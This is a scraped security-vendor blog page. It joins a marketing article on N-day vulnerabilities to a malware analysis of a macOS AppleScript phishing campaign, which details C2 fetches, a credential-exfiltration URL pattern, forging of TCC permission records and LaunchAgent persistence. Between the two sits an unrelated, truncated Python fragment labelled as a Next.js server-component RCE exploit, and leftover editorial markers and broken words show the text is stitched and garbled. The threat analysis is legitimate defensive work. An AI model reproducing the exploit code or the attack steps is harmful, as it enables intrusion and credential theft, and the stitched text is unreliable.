N-Day Vulnerabilities: Minimizing Risk With Self-Learning AI
See how Darktrace PREVENT, a self-learning AI program, can help your security team measure risk & address N-Day vulnerabilities before an attack occurs.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Oakley Cox
Director of Product
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27
Jul 2022
Responding to the latest critical vulnerability has become a regular routine in the daily life of cyber security professionals.
In the last two years, there has been a carousel of patches for vulnerabilities affecting email servers (ProxyLogon), remote working infrastructure (Atlassian Confluence), third party tools (Kaseya), and supply chain software (Log4j).
In the days following the public disclosure of such vulnerabilities, any associated exploit is referred to as an “N-day”. The release of a patch marks day 1, but over the following days any unpatched systems are at risk of attack from exploits which target the vulnerability. This contrasts with zero-day attacks, which exploit vulnerabilities for which no patch is available, often because knowledge of the vulnerability isn’t yet in the public domain.
N-days occupy a unique space in cyber risk analysis. Headline-grabbing zero-day attacks have the potential to be high impact, but in reality such attacks are rare and have a low likelihood. A more common cyber-attack, using commodity malware which has been well documented in the wild, may have a high likelihood but will have a low impact when faced with a mature security stack. But in the hours and days following the publication of a new vulnerability, there is a high likelihood of a high impact attack against an organization which makes use of a new exploit.
Table 1: A potential qualitative risk analysis comparing three cyber risks: a threat group targets an organization using either commodity malware, a zero-day exploit, or by leveraging an N-day vulnerability.
After a critical vulnerability is published, security teams battle against time and resourcing constraints to apply the appropriate patch or patches, all the while trying to protect assets without a playbook of what an attack may look like. Darktrace has found that 85% of high-risk vulnerabilities are not patched within one week and 70% remain unpatched after a month. In the meantime, threat groups have become armed with a new attack method: an N-day exploit.
In their latest research, Darktrace’s Inside the SOC team detail how the techniques used by Self-Learning AI to detect zero-day attacks can also be leveraged by organizations to Detect and Respond to N-day attacks.
But with Darktrace PREVENT, defenders can go one step further, enabling security teams to harden defenses before the next attack vector is even published.
The Darktrace PREVENT product family empowers defenders to model likely attack paths, intelligently prioritize critical servers or highly exposed people in the organization, and test vulnerable pathways by emulating real-world attacks. Darktrace PREVENT then feeds data back into Darktrace DETECT + RESPOND to harden defenses around critical attack paths or assets and further enhance cyber resilience. For example, if Darktrace PREVENT discovers that a critical database is serving high-risk users, it can feed that information back into Darktrace DETECT, which in turn increases the level of scrutiny around that asset.
Figure 1: Visualising Darktrace’s technology vision of a Cyber AI Loop: four interconnected AI engines continuously enhancing each other’s capabilities.
While Darktrace DETECT + RESPOND wrap what amounts to an ‘AI safety blanket’ around vulnerable assets and attack paths, Darktrace PREVENT presents prioritized recommendations for long term risk mitigation. Stretched security teams therefore know, based on Darktrace’s deep and evolving understanding of the entire business, where to focus their time and resources in order to reduce risk to the greatest extent.
As a result, when the next N-day vulnerability comes around, defenders have the confidence that any prospective impact has already been minimized and the potential cyber risk is low.
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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def execute_rce_command(base_url, command, timeout=120): """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE DO NOT MODIFY THIS FUNCTION Returns: (success, output) """ try: # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
AppleScript Abuse: Unpacking a macOS Phishing Campaign
Introduction
Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.
The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.
Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].
Technical analysis
The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.
Figure 1: The AppleScript header prompting execution of the script.
Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.
Figure 2: Curl request to receive the next stage.
This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.
The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].
Figure 3: Fake dialog prompt for system password.
The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.
Figure 4: Requirements gathered on trusted binary.
Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, ScriptEditor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]
To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.
After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:
Full disk access
Screen recording
Accessibility
Camera
Apple Events
Input monitoring
The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.
Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.
Figure 7: Snippet of decoded Base64 response.
A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:
/controller.php?req=instd
/controller.php?req=tell
/controller.php?req=skip
These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.
Figure 8: LaunchAgent patterns to be replaced with victim information.
The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.
Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.
Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met. However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.
Conclusion
This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.
Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections. These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.
Credit to Tara Gould (Malware Research Lead) Edited by Ryan Traill (Analyst Content Lead)
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